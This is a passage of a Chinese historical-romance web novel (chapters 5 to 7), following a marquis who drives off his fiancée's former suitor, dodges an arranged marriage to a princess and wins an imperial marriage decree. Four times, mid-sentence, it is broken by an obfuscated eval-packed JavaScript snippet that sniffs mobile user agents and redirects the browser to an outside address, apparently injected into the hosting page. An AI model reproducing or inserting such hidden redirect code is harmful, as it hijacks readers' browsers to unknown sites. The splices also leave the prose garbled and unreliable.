程素的声音温柔如水,却透着股疏离:“韩大人,当年离京前,程韩两家便已恩断义绝。虽不知你还有何面目厚颜而来,但还请就此止步。若再要擅闯私宅,休要怪我小题大做,惊动官府了。” 韩元清早已料想过程素不会原谅他,可人就近在咫尺,吐露的话却这样绝情,还是让他心痛难当:“素素……” 话未说完,忽而一阵急促的马蹄伴随呵斥声落下:“何人在此喧哗!” 脚下的地面剧烈震动,韩元清还没来得及躲闪,阴影顷刻间已笼罩至头顶,马声长嘶,碗口大的马蹄高抬至半空,冲着他那张俊脸狠狠踩了下去! 可等了几瞬,预料中的疼痛却没有传来。他虚虚抬眼,来人已一勒缰绳,灵活地掉转马头,绕着他打转。 见他睁开眼,对方从马背上俯身下来,脸上带着毫不掩饰的恶意:“真是不巧,这位不是韩编修吗?这么晚了不回你的县主府,还在外游荡……” “莫不是看人家高墙大院,家底殷实,想来勒索一番吧?” 卫琅原本只想装作无意路过,可一听到这人当着外人的面喊得亲热,顿时心头火起。等冲到跟前,再一看到对方这张俊秀的小白脸,顿觉没狠踹这人一脚,都已是看在程素的面子上了。 韩元清刚被吓出一身冷汗,这会儿听到罪魁祸首非但没有歉意,反而还当众倒打一耙,信口给他按上荒唐的罪名,再也压不住心中的火气。 他面带愠怒:“卫侯爷,你在巷中纵马冲撞便罢了,还空口白牙污在下清白,是以为你定远侯府已经能在朝中只手遮天,无人敢参你一本了吗?” 两人在京中行走,往日偶尔也打过照面。只是一个是纨绔勋贵,一个官员,不在一个交际圈里,充其量只是个脸熟。 卫琅虽然记不太清这人的底细,可还隐约记得这人娶了乐安县主。 一个有妇之夫,傍晚独自来拜访素素母女,说他没包藏祸心谁信。 而韩元清这边,往日虽也听闻过卫琅飞扬跋扈的名声,但两拨人井水不犯河水,他也只是与同僚谈笑时,偶尔不动声色地鄙夷一下这些膏粱子弟罢了。今日撞上吃了亏,才知道传言非虚。 “怎么算是空口白牙呢,”卫琅咧嘴一笑,“半年前我离京时,还听人说乐安与民争利,闹出了人命官司。妇唱夫随,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999090|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你在这里鬼鬼祟祟想做什么。” 打蛇要打七寸,这一句显然戳中了韩元清的痛处。当初乐安那事闹得满城风雨,让他在同僚面前抬不起头来。 韩元清面皮发紧,心知跟卫琅这混不吝的再纠缠下去,只会更狼狈,只想赶紧避开这煞星:“侯爷我今日只为拜访故人,不想与人争执。素……程姑娘,今日天色已晚,改日我再来拜见伯母。” 他说罢离开。 路过卫琅时,还不忘冷哼一声。 卫琅望着他的背影,眼神阴沉。 改日,这狗东西还敢在他面前说改日?好歹他还记得改口,不然他改日高低要找人把他套麻袋再揍一顿。 在心里把那狗东西剐了千八百刀,卫小侯爷一转头,就看到程素等人正默默看他。光影昏晦,她面上的神情让人看不清楚,唯有那双眼如琉璃,澄净通明。 卫琅这才想起木通说过程素双目失明的事,心里涌起了说不清道不明的滋味。 他状作自然地解释:“我恰巧路过,听到巷子里面有声音,便来看看。” 这话便是连小檀都骗不过,哪有那样巧的事,午后双方刚打过照面,傍晚人就能转悠到青槐巷来。 程素却不计较,冲他微微福身:“刚刚多谢侯爷了。” 卫琅故作轻松地摆手:“小事而已,何足挂齿。不过刚刚那人……” 他说着迟疑了一下,有点后悔自己又提起那狗东西。好不容易说上了话,何必提那扫兴的事惹人不快。 程素却以为他想问韩元清的事,也不隐瞒,坦然道:“那位韩大人早年曾与我有过婚约,只是当年程家变故,两家便退了婚,今日他又找上门来。” 她说罢等了一会儿,卫琅却没吭声。 这倒令人纳罕。 从仅有的一两回照面来看,这位小侯爷口舌上可不弱于人,若被他拿住了把柄,定要借题发作。可对方默不作声,倒让人一时猜不中他的心思。 若是她双目还能看见,或许还能从对方的神色中窥探一二。可这会儿卫琅不作声,她一时也摸不准他在想什么。 程素想了想:“若是侯爷不嫌弃,可否进府里喝杯茶一叙。” 无论卫琅为何出现在这里,他替她三言两语赶走了韩元清,她总要领情的。况且对方天黑前来,必然也是有事登门,请进门大家也好把话说开。 卫琅听她提进府二字,满脑子瞬间只剩下了一个念头不断盘旋,她她她她她……居然主动邀请他进门了! 天色已晚,程家只有女眷。若非对他极为放心,她必是不肯让他进门的。 是了,他刚刚挺身而出,就算称不上英雄救美,却也替她解了围。 素素必然对他生出了极大的好感,才想要好好答谢他。 他的心脏怦怦作跳,耳根发烫。 不过卫琅此番只是顺手而为,可没什么挟恩图报的意思。故而他虽有些呼吸急促,却还不忘骨子里的矜持,硬邦邦地挤出两个字:“不了。” 说罢,他翻身上马,面容紧绷:“我还有事,先走一步。” 仿佛背后有人在赶。 小檀没忍住嘀咕道:“这卫小侯爷真是……” 明明他站出来帮忙解围,看着也不像是上门生事的,可哪有连句客套话都不好好说,头也不回就走了的。 她话说了半截,就见刚才离去的人又掉头回来。 那卫小侯爷骑在马上,语气沉肃道:“我不进去喝茶,是有公务在身。之前陛下看我剿匪有功,前日刚说给我个五城兵马司的官职做,一会儿我还要提点底下的人巡夜。方才那人你不必担心,回头我派两个人帮忙盯着。之前……是我一时唐突,改日我再来登门道歉。” 这一长串话他一口气说下来,听上去既是交待,又像是在解释什么。说罢,他又翻身上马,一扯缰绳走远了。 这次就连程素也忍不住摇头笑:“小侯爷可真是……” 真是怎么样呢? 她一时也说不清。 5. 第五章 翌日一早,卫琅便进了宫。 按原本的打算,他本该今日亲自去程家赔礼道歉的。可不知为何,一想到要跟程素的母亲打交道,向来天不怕地不怕的卫小侯爷也莫名有点打怵。 恰巧宫里传话让他过去,卫琅总算有了借口,便让弟弟卫珏代他跑了一趟。至于跟程夫人打交道,这个不急,暂且不急,还是先等人家气消了再说。 他被太监引进书房时,隆兴帝正在习字,见他进来,搁笔笑道:“阿琅来了,快来看看,朕今日这幅字写得如何?” 隆兴帝年已四旬,面目温和,颌下蓄着短须,带着几分书卷气。恰逢今日休沐,他便换了身常服,不像个威严的皇帝,倒像个寻常的中年文士。 卫琅随口敷衍道:“挺好挺好。” 隆兴帝随手拿起一支狼毫扔他,骂道:“不学无术的小子,连看也不看一眼,就信口点评朕的字?放出去半年,这没大没小的毛病还是没改好。” 卫琅反应飞快地接过那支笔,屈膝行礼:“谢陛下赏。” 随后他起身笑嘻嘻道:“您也知道我不学无术,还让我来看。说写得好,您骂我是欺君,可要我说了不好,您又要吹胡子瞪眼怪我没见识了。” 隆兴帝抬手又砸过去一块紫檀镇纸,指着他骂:“知道自己不学无术还不算太晚,改日朕就让你去跟小皇孙们一起去学堂听课,看你还有没有脸。” 书房的太监们眼观鼻鼻观心,对这一幕早已见怪不怪。 陛下和卫小侯爷的相处不似君臣,反而更像寻常人家的叔侄。每次卫琅一来,陛下虽总要先借题发挥骂他几句,可明眼人都能看出,这全是出于一片爱护之心。 也难怪宫中有传言,说这卫琅指不定是陛下养在外头的私生子。不过稍微仔细一想,便知这纯粹是无稽之谈。 隆兴帝尚未即位前,在众皇子中排行第六。其生母只是个浣衣宫女,地位卑微,连带着他在先帝跟前也不受待见。 他即位前只是个闲散王爷,靠琴棋诗画打发日子,而卫家手握重兵,威震朝野,又怎么可能替个落魄王爷养孩子。 反倒是当时的隆兴帝自己,他整日风花雪月、无所事事,素来钦佩卫侯父子的忠烈英勇,一次偶然见卫琅生得玉雪聪明,曾主动要教他写诗作画。 当然,最后的结果不提也罢。 不过到底是从小看到大的孩子,双方自然感情深厚。 先帝晚年性喜猜忌,最后那几年,皇子们明争暗斗,彼此倾轧。当时的隆兴帝不敢涉入其中,只求明哲保身。 可兄弟间都到了你死我活的地步,怎么能容得下他夹缝求生。 故而当时的隆兴帝,连带着如今的皇后太子等一干人都很是吃了些苦头,反倒是卫琅这个便宜大侄子,背后有卫家撑腰,偶尔还能照拂他们一二。 可谁都没想到不起眼的隆兴帝,竟然会是最后的赢家。 卫琅至今也不知道自家那位成了精的老太太有没有猜到,反正他是没想过,这位好脾气的世叔能登上皇位。 不过,能有隆兴帝这样一位性情宽和的帝王临朝,对于他们这样的人家来说,无疑是件值得松口气的事。于他自己来说,更是一桩天大的好事。 卫琅嘴上连忙告个饶,隆兴帝总算放他一马,让人给他看座,开口问道:“朕前日打算让你兼领五城兵马司总指挥使一职的事,你可是考虑清楚了?” 卫琅装作没听见般埋头喝茶。 隆兴帝笑骂道:“怎么,你还看不上。若非你此次剿匪有功,就连这差事都未必给你。朝中至今还有人认定你贪冒了别人的功劳,你能咽得下这口气?” 半年前,他派卫琅南下监军。 说是外放历练,其实只是为找个由头提拔卫琅。 卫家将门出身,在军中素有威望。卫琅的父亲和三叔、小叔战死,但他的二叔仍在为大周镇守边陲。早晚有一日,卫琅指不定也要接过卫家人的重担。 可隆兴帝眼睁睁看这混账小子长到十六岁,他仍是斗鸡走狗不干正事,半年前还伙同人把礼部侍郎的长子给揍了一顿,闹得弹劾的奏折如雪片般飞来。 隆兴帝只能把人赶紧打发走,让他滚出京城去避避风头。 没想到卫琅平日看起来不着调,转头却带人一举攻破十八座山寨。 不出半年的功夫,就将当地盘踞十几年的匪患一扫而清,声震朝野。就连隆兴帝听到奏报时,都没忍住呛了口茶。 等反应过来后,他不由得大悦。 卫家不愧是将门,虽说卫琅小时候是顽劣了些,可若假以时日,他未必不能如他的祖父和父亲一般建功立业。 再看起眼前的惫懒货,隆兴帝只觉心头火热。 卫琅见左右躲不过,叹口气放下茶道:“您别拿话来激我,我若是接了这差使,在京城才是都抬不起头来。那五城兵马司放在京城就是个看大街的差使,谁见了都能踢一脚。您若真有心提拔,至少也得给我个宣武将军当当。” 隆兴帝抬手又拿砚台砸他:“堂堂侯爷,满脑子竟然只有一个从四品的将军。若非你往日行事荒诞,闹得群臣议论,难道是朕舍不得这一官半职?” 卫琅一脸勉为其难:“既然陛下您开口了,我接下还不成吗。” 五城兵马司虽然不堪大用,但好歹也是有那么点用处的。毕竟昨日他才在素素面前夸下了口,若是他这个总指挥使最后都没上任,回头没脸在她眼前晃悠。 隆兴帝见他识相,哼了一声,这才勉强满意。到底是自己看大的孩子,卫琅应得痛快了,他反而心里觉得亏欠。 他又安慰道:“你不要看五城兵马司事冗职卑,可它毕竟统辖京城治安,与京中百姓息息相关。你自幼锦衣玉食,不知民生苦楚,若能在任上体察民情,于你也是历练。若你任上不出岔子,两年、一年之后,朕便让你统领金吾卫!” 卫琅兴致缺缺:“我好好的侯爷做着,您又何苦来扰人清闲。” 眼见隆兴帝又要瞪眼,他立即敛容正色:“定不负陛下厚望。” 隆兴帝恨铁不成钢,口中训道:“你看看你这个样子,换别家都该娶妻生子、顶立门户的年龄,你却还是一副游手好闲、纨绔子弟的模样。依朕看,还是老夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999091|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人把你惯坏了。” 虽牵扯到了祖母,奈何训话的人是皇帝,卫琅也只有低头听话的份,不料隆兴帝话锋一转:“……世人皆道成家立业,婚嫁为先。你父母早亡,朕就代他们做一回主,赐你一桩好婚事。等成了婚,你也该有个样子了,免得辱没了你祖父和父亲一世英名。” 卫琅:“啊?” 怎么就扯到让他成婚的事上了? 他本能地警惕起来,面上直愣愣道:“可是我家老夫人说了,已经在给我相看名门淑女,不急于这一时半刻的。臣自幼父母双亡,全赖祖母扶养长大,这事总要过问她老人家的意思,您这……” 隆兴帝不以为意:“朕已知会过老夫人了,她也是如此说,还把你当小孩子,说不急在这一时。哼,你这臭小子不急着娶亲,但朕的永宁、永平可等不得。” 卫琅脑中嗡地一声,他这才明白,隆兴帝竟打的是让他尚主的主意。 不说他已经有素素了,就是在这之前,他对公主一点念头也没有。在外人看来也许是天上掉馅饼的好事,可于侯府来说,却是实打实的烫手山芋。 这话又要从隆兴帝的子嗣说起。 隆兴帝现如今有六子三女,除了刚出生不久的九皇子外,其余都是在王府时期就出生的。永平、永宁二位公主,年龄与卫琅相仿,确实也正是适婚的年龄。 但这二位公主可不是好招惹的,她们身后分别各站了一位成年皇子。 太子和永平公主乃是一母同胞的亲兄妹,均为隆兴帝早逝的元配所生;永宁公主和二皇子又是当今皇后所出。 先皇后早逝,娘家又无权无势,还在王府时期,这一脉就淡得几乎没影子了。 当时还是祁王的隆兴帝怜惜长子早早就没了母亲,一早就定下了世子的名分。毕竟长幼有序,如此一来,便是继王妃及其子女也没什么好争的。 再加上当时王府处境尴尬,一家人不得不关上门来安分度日,免得生出事端被人抓了把柄,平日倒也算和睦。 奈何时来运转,隆兴帝继位后,所有人的身份都跟以往大不相同。 太子入主东宫,然而母族单薄; 继王妃一跃成了皇后,她娘家兄弟众多,借着这股鸡犬升天的东风,有不少入朝为官的,再加上她膝下共有三子一女,自然让底下人心思浮动。 权势向来是最快能改变一个人的,身处在那样的位置上,许多原本哪怕没有的心思也慢慢滋生出来了。 卫琅因颇受圣眷,出入宫闱频繁,常与这些人打交道。不过两年下来,他早已察觉出几位故人的性情早已不似当年,再加上出身将门,祖母自小对这些事耳提面命,他自然知晓个中利害。 他一点也不想卷进这团皇家纠纷中,奈何眼前这位陛下完全没有一点自觉,居然还想着乱点鸳鸯谱。 他脑袋转得飞快,一脸难以置信地指了指自己:“臣……要娶两位公主?” 隆兴帝顿时勃然大怒,抓起手边能抓到的所有东西,就一股脑地劈头盖脸地砸了过去:“做你的春秋大美梦!你可真敢想!连朕的公主你都敢想!” 6. 第六章 “砰——” 一只茶盅飞了出来,落在地上砸得四分五裂,紧接着迎面而来的又是一块印章、几支笔和砚台等物。 卫琅被打得抱头鼠窜,却也不能真就这么逃了,只好躲远点。 等皇帝砸得累了,一群太监们才纷纷出来收拾了满地的狼藉。 隆兴帝喘着粗气,瞪着低头乖乖跪在地上的卫琅。他盘算着嫁公主这事,可不单是为了卫琅这小子。毕竟他再宠便宜侄子,也越不过自己的公主去。 他早在心里盘算过,虽然卫琅这小子长得勉强还算有鼻子有眼,可要论才学人品胜过他的名门俊彦,也是一抓一大把。 不过大家族人口繁多,底下的腌臜事也是一大把,就算贵为公主之尊,嫁过去后也难免要跟底下那些人打交道。 定远侯府胜在人口简单,门风清正,子孙少有纳妾及拈花惹草的恶习,等公主嫁过去后,日子再省心不过。 何况卫琅也算是他看着长大的孩子,虽然人是不成器了些,但本性还不算坏。再加上他油嘴滑舌惯了,若真想讨人欢心,自然也能哄得人心花怒放。 只是两位公主手心手背都是肉,隆兴帝这个老父亲也不好偏了哪一个去。 他还在踌躇着,到底让卫琅尚哪一位公主更合适,哪知这小子竟误会了他的意思,做起了娥皇女英共事一夫的美梦。 想到这里,隆兴帝犹不解气。卫琅向来乖觉,不等他再度发作,赶紧从地上一骨碌爬起凑上来给他顺气。 好不容易把皇帝哄得气消了,他才小心翼翼道:“……陛下,其实臣刚才没来得及跟您说,祖母已经为臣看好了一门婚事,不日就要下定了。臣今早进宫前,原本还打算着跟您求一道圣旨赐婚呢。” 隆兴帝斜眼看他,一脸狐疑:“相看的是哪一家的闺秀?刚才怎么不说,不会是你临时编出来骗朕的吧?” 卫琅难得敛容正色道:“臣不敢,实在确有此事。祖母为臣相看的,乃是前任刑部给事中程恪言之女。” 隆兴帝早些年只是个没有实权的闲散王爷,对朝中的事务了解有限。何况一个前任刑部给事中,他本不该有印象。 然而听了卫琅的话,他却意外地在记忆中搜寻到了这个名字。 前太子早逝,先帝晚年猜忌成年皇子,常常坐观皇子们斗得两败俱伤后,再将其幽禁或赐死。当时朝野中呼声最高的二皇子和四皇子便是这样先后倒下的。 天潢贵胄尚且如此,和皇子结交的朝臣们也难逃厄运。朝中一时牵连甚广,就连许多无辜者也不幸被卷入其中。 当时的工部侍郎虞衡曾受命于京郊兴建永明寺,寺庙即将落成之日,却遇上了几十年难得一遇的地龙翻身,耗费了无数钱财和心血的佛寺轰然倒塌。 那永明寺本是先帝为祈佛而特意兴造,他晚年为头疾所困,药石罔效,只能寄希望于神佛,却遇上天灾被毁。 按照惯例,凡是上天降祸,皇帝必会降下罪己诏,奈何先帝当时为此事已是怒不可遏,哪有心思躬省己身。 他认定了必是工部偷工减料,致使佛寺被毁,命人彻查,果真查出其中账目有异。而主持此次寺庙修建的虞衡早年又曾受四皇子拔擢,在先帝眼中,这便成了他与皇子勾结、诅咒帝王的铁证。 天子一怒,流血千里。 先帝不仅要将虞家上下数十口抄斩,就连一同兴建永明寺的上万名工匠也要株连坐死。朝中虽有人想劝阻,奈何因夺嫡一事,朝堂上已几近血洗,眼看老皇帝已经气昏了头,谁若站出来,只怕也要跟着人头落地,众人只能噤若寒蝉。 最后,还是时任刑部给事中的程恪言站了出来。他查明真相后上疏谏言,账目确实是有人中饱私囊,虚报工料,虞衡没能查清账目,虽有过错,却断无以次充好,影响永明寺的修建。 再者,当时永明寺周边方圆数十里的屋宇成片倾塌,百姓流离失所,受灾格外严重,足以证明这实非人力所能抗衡。 至于虞家和早已被贬为庶人的四皇子结交,更是捕风捉影之事。 程恪言的奏折言辞恳切,详实有据,令盛怒之中的先帝也无话可说。可他的所作所为有违圣意,最后虞家被抄没流放,他自己也没能躲过一劫。 唯一能称得上幸事的是,那成千上万的寻常工匠得以保住了性命。 先帝最后意识弥留之际,对当年的某些事心存悔意。 临终前,他向隆兴帝交待过,那些赦免施恩的事留给他日后来做。 不久之后,隆兴帝即位,大赦天下,程家的冤情也得以洗脱。 然而五年过去,程恪言本人早已在岭南病逝。朝廷事后虽有追封,可人死如灯灭,他膝下仅有一女,纵还留下些身后虚名,也无济于事了。 程家的遭遇固然令人唏嘘,可说到底还是先皇之过。 隆兴帝原本还想发作,回想起这桩往事之后也不由得默然良久,才问:“那程家如今已经没落了吧,这当真是你家老夫人的意思?还有你,你怎么想的?” 他就不信,卫琅这性子能这么容易就能让人这么摆布他的婚事。 孰料卫琅竟然不好意思地低下了头,还扭捏起来:“那程家姑娘与臣的祖母家还有亲戚呢,怎么说也算一家人……” 隆兴帝一脸难以置信地看着眼神飘忽不定、嘴角却快要咧到天上去的卫琅。这要说他没见过那程家女儿,那才是有鬼了,对方八成还是个美人,不然这小子也不能这么一副蠢样子。 卫琅眼角的余光一直注意着隆兴帝的表情变化,连忙道:“所以臣的婚事……” 隆兴帝意兴阑珊大手一挥:“罢了,就当朕之前什么都没提过。” 他虽有心和侯府结亲,但既然卫老夫人已有主意,再看这小子春风满面的模样,八成也对女方满意的不得了,他也不想做那个从中棒打鸳鸯的恶人。 何况卫家求娶程氏女,某种程度上来说,也算是慰藉忠良之后了。横竖公主也不愁嫁,回头他给她们挑更好的便是。 卫琅察言观色,赶紧道:“微臣想求一道圣旨赐婚。” 其实他本想暂缓婚约,等素素非他不嫁时,再提上日程也不迟。奈何昨晚那姓韩的狗东西一出,再加上今天皇帝想乱点鸳鸯谱,让卫琅危机感顿生。 等来等去,万一真等哪天有人把这婚约搅散了,他可哭都没地儿哭了。 隆兴帝意兴阑珊道:“允了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999092|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫琅趁热打铁:“还有一件事,微臣想再跟陛下求一道谕令,从太医院借几个人。我那未婚妻当年落难后双目失明,不知道还有没有根治的法子。” 隆兴帝叹口气:“太医院的人听你调令,别把朕的人全借空了就成。” 卫琅又是谢恩。 隆兴帝这会儿正是心气不顺的时候,见这小子得寸进尺的样子就眼烦,踹了他一脚让他赶紧收拾收拾滚出宫去。 卫琅遵从圣旨,麻溜地滚了。 他刚离了御书房,就见太子在一群人的簇拥下迎面而来。 两人是王府时期的旧相识,从前一个是世子,一个是小侯爷,虽然年龄身份有别,尚还能以同辈相交。然而一朝为君臣,有许多事也悄无声息地变了。 他连忙行礼,又被对方搀扶起身。 二人寒暄几句过后,太子忽然道:“永平近日在宫中烦闷无事,想从宫外邀些女眷来陪她玩。我记得你家中还有个妹妹,若是无事,不妨也让她一并进宫来给永平作伴。” 卫琅忙道:“承蒙殿下和公主垂爱,我那妹妹自小有个见不得生人的古怪毛病,动辄便要发病昏倒。这么多年来也从未出过府门一步,怕是不好来宫里。” 他既拒绝了,太子也不好勉强,话头一转,再次作邀:“对了,底下的人近日进献了一批好马,养在京郊的一处庄子上,你若无事,改日陪孤一起去看看。” 看在从前的情分上,他能拒绝太子一次,但就算有再多借口,若再拒绝第二次、第三次就是不知好歹了。 见卫琅这回终于痛快应下,太子这才满意颔首,转身继续往御书房去了。 两人擦肩而过。 卫琅走到阶下,回头望了一眼,只见御书房的门已经打开,太子连忙挪动着有些肥胖臃肿的身躯进了屋内。 不过两年的功夫,太子人就迅速发福起来。他外出半年,这位殿下更是胖了一圈。刚刚一碰面,他才惊觉,对方身上已经完全没有从前的影子了。 再想想他上次离京前后,太子和另外几位皇子平日言语中有意无意的拉拢试探,卫琅只觉一个头两个大。 屋门很快又合上,隔绝了卫琅的视线,只有两个太监仍守在门外。 他收回了目光。 算了,管他们呢。 反正他在宫外,等以后成婚了还要忙着陪素素,躲这帮人远点就是了。 …… 天下没有不透风的墙,哪怕是深宫之中。这边圣旨赐婚还没下,不出一日,消息就插了翅膀般迅速传到了宫外—— 卫小侯爷要成亲了! 还是圣旨赐婚! 外人尚不清楚程素的底细,但京城的权贵们却在暗地里很快传开了流言。 众人只听卫小侯爷要被迫娶的是昔日罪臣之后,一时有人惊讶,有人嗤笑,有人等着看笑话,反应不一而足。 外面那些风风雨雨没来得及传入青槐巷,便被阻隔在高高的院墙外。 程素浑然不知,自己不知不觉中已经成为一些人私底下议论的话题。 眼下,她正蹲在院子里,两只皮毛油黑发亮的幼犬团团围在她的脚边,欢快地拱着她的腿,发出哼哼唧唧的声音。 7. 第七章 自从那日卫琅在程府门口撞见了韩元清后,第二日他便派了五城兵马司的人来青槐巷附近把守,一发现韩元清的踪迹,就堵得严严实实的,硬是不让他接近。 今日,他又让人送来一对山东的细犬,说是给程家看门护院用的。 小檀笑道:“这小狗的腿又细又长,奴婢还是头一次见。” 程素抬手抚过小细犬们缎子般光滑的皮毛,它们便亲亲热热地凑上来,将她的手心舔得湿漉漉的。 她虽看不见,也能感受到它们的活泼热情。 细犬名贵,长大后是上好的猎犬。这种狗虽然忠诚护主,不过性格这样亲人的也少见,想来挑它们的人也是花了番心思的。何况还不止这对小狗。 这些天来,但凡有什么新鲜有趣好玩儿的,卫家隔三差五地往府上送。 阖府上下都能看出,卫小侯爷哪里是不满意这桩婚事,只怕是满意过了头。 最近这段日子,不只身边的人整日喜气洋洋,就连母亲也整个人放松下来,不仅咳嗽少了,说话的声音也轻快了许多,仿佛卸下了一桩重担。 丫鬟们都在说,定是那日在亭中,小侯爷对她一见钟情,才会这般献殷勤。 程素却觉得有些迷茫。 她知道自己生得不算差,若再夸张一些,在世人眼里也许能称得上一句美人。可只凭匆匆几面,就能让那位长在锦绣堆里的小侯爷做到这般地步吗? 若真是如此,也不知于她而言,究竟是福是祸。 她一下一下地轻摸着幼犬的脑袋,微不可察地叹了口气。 又过了两日,圣旨赐婚便下来了。 接到圣旨,无疑让程家上下更加欢欣鼓舞。倘若之前卫家的态度已经让众人吃了颗定心丸,那圣旨赐婚无疑说明婚事已板上钉钉,再无更改的可能。 就算侯府家大业大,要想背约,也需掂量圣旨的份量。更何况这圣旨还是侯府求来的,足见卫家对这桩婚事的重视。 流程很快有条不紊地推进下去。 下聘,交换庚帖,合生辰八字。 婚期定在三个月后的秋日,云氏原本担忧准备不及,可听说是卫家特意请钦天监算过的良辰吉日,便不再犹豫,全心全意地准备起程素的嫁妆。 她早年为女儿准备的那批妆奁,早在抄家时便散了,不过这两年来,母女二人南来北往经营生意,小有薄产。 再加上卫老夫人疼惜程素,还特意给了她添妆,让她们不必为此忧心。 不过想起当年攒下的家当,云氏还是难免惋惜,傍晚吃饭时,还在念叨着昔年压箱底的一整套红宝石头面。 那是程素的外祖母传下来的,原本准备留给她出嫁时用的,可惜后来抄家时被官兵拿走了,不知流落到了哪里。 提及往事,云氏难免感慨:“当年若是早早让你嫁出去了,你也不至于跟我们一同到岭南受罪。” 她和夫君当初舍不得女儿早早嫁去韩家,总想再留她在家里待个一两年,却没想到后来会生出那些波折。 程素摇头:“您这是说的什么话,若我当日嫁了,就不能陪在您身边了。” 比起她嫁人后困在别家后宅,自己锦衣玉食,却眼看爹娘被流放受苦而无能为力,她倒情愿一家人一起去岭南。 云氏拭泪道:“是,是娘说错了话,那韩家人本不值得托付,就是没有你父亲的事,他也是个靠不住的人,而我们素素的福气还在后头呢。” …… 从母亲那里出来后,程素便一直有点心不在焉,只是她性情恬淡平静,就算偶有心神不定,外人也难以看出来。 如此一来,一直到夜里吹灯睡下,角落里替她守夜的小檀很快呼吸渐沉,她却睁开了眼,望向头顶。 眼前一片漆黑,没有任何光亮,这是她这五年来看惯了的景象。 程素想,许是由于婚期已定,她心底还是有些说不清道不明的情绪,这小半个月以来一直心神不定。 自己就要这样嫁人了吗? 程素努力回想了一下当年自己想过要嫁入韩家时的心情,发现竟然已经回忆不起来了,无非是羞怯、欢喜等等。 那时,她以为从小认识的竹马会是日后的良配,满心期待地等着出阁。 如今想来已是恍如隔世。 程家变故、自己眼盲之后,她就再没想过嫁人的事,无论怎么说,一个瞎子放在哪里都是累赘,正经人家不敢娶。 就是她想留在母亲身边尽孝,也是反而让母亲为自己劳心伤神。 所以,她听从了长辈们的安排,温顺地接受了这桩婚事。 但对于日后如何,她心里并没有底。 从这半年看下来,侯府那位老夫人和卫琅的弟妹都不是难以相处的人,她唯一没有接触过的,便只有那位小侯爷了。 仅有的那两次照面里,她实在摸不准对方究竟是个什么性情。 好在对方至少并不抵触她,至于究竟如何,只能她嫁过去以后慢慢摸清了。 程素微阖双眸,在脑海中一点点做着日后的打算,不觉夜色流逝,直至突然听到有什么东西啪嗒打了一下窗子。夜里如此寂静,再细小的声音都格外清晰。 她心里突地一跳,慢慢屏住了呼吸。 外面似乎有人。 没过一会儿,外面又传来同样的声响。她慢慢起身撩开帐子,凝神望向窗户所在的方向,侧耳再听,却又没有了别的动静,便以手作掩,放在唇边轻咳几声。 守夜的小檀迷迷糊糊道:“姑娘,可是要喝水?” 程素冷静道:“没事,你好好睡吧。” 小檀放心地又沉沉睡过去。 然而过了一阵,程素忽然又道:“小檀,我口渴了。” 可小檀哪里还能听得到她的吩咐。 到底是年纪小没经事,只要睡熟了便是天昏地暗,除非大动静不会醒。若今晚守夜的是白芷,就没有这样幸运了。 程素起身披衣,凭着感觉蹑足走至窗边,推开其中一扇。饶是她的手脚再轻,动作再小心,还是在寂寂的夜里发出吱呀轻响,让她难得紧张起来。 好在小檀仍是没醒,还在梦里咂咂嘴,不知道梦见了什么。 程素停在窗边耐心等了一会儿,可院里只有晚风吹拂和草丛里的虫鸣声。她想了又想,轻声道:“更深露重,倘若侯爷无事,还是早早回去吧。” 窗下终于传来了少年人讷讷的声音:“……你怎么知道是我?” 程素忍不住想笑。 其实她也说不上来为什么,只是直觉如此。若非贼盗,能做出半夜翻墙入户这等惊世骇俗之举的,她所认识的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999093|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人里,恐怕只有这位卫小侯爷了。不过她也只是猜测,没想到竟然一猜就猜中了。 她没有回答卫琅的问题,只是客气地问:“侯爷深夜造访,可是有什么事?” 被她这样一问,卫琅终于想起来自己翻墙这件事有点出格,声音压得一低再低:“……我并非有意冒犯,也绝不是来做坏事的。只是我有事想当面和你说,只能出此下策,你……不要生气。” 程素轻声道:“侯爷但说无妨。” 这话又要从前头说起。 当初,圣旨赐婚刚下来时,卫小侯爷很是得意过一阵儿的。 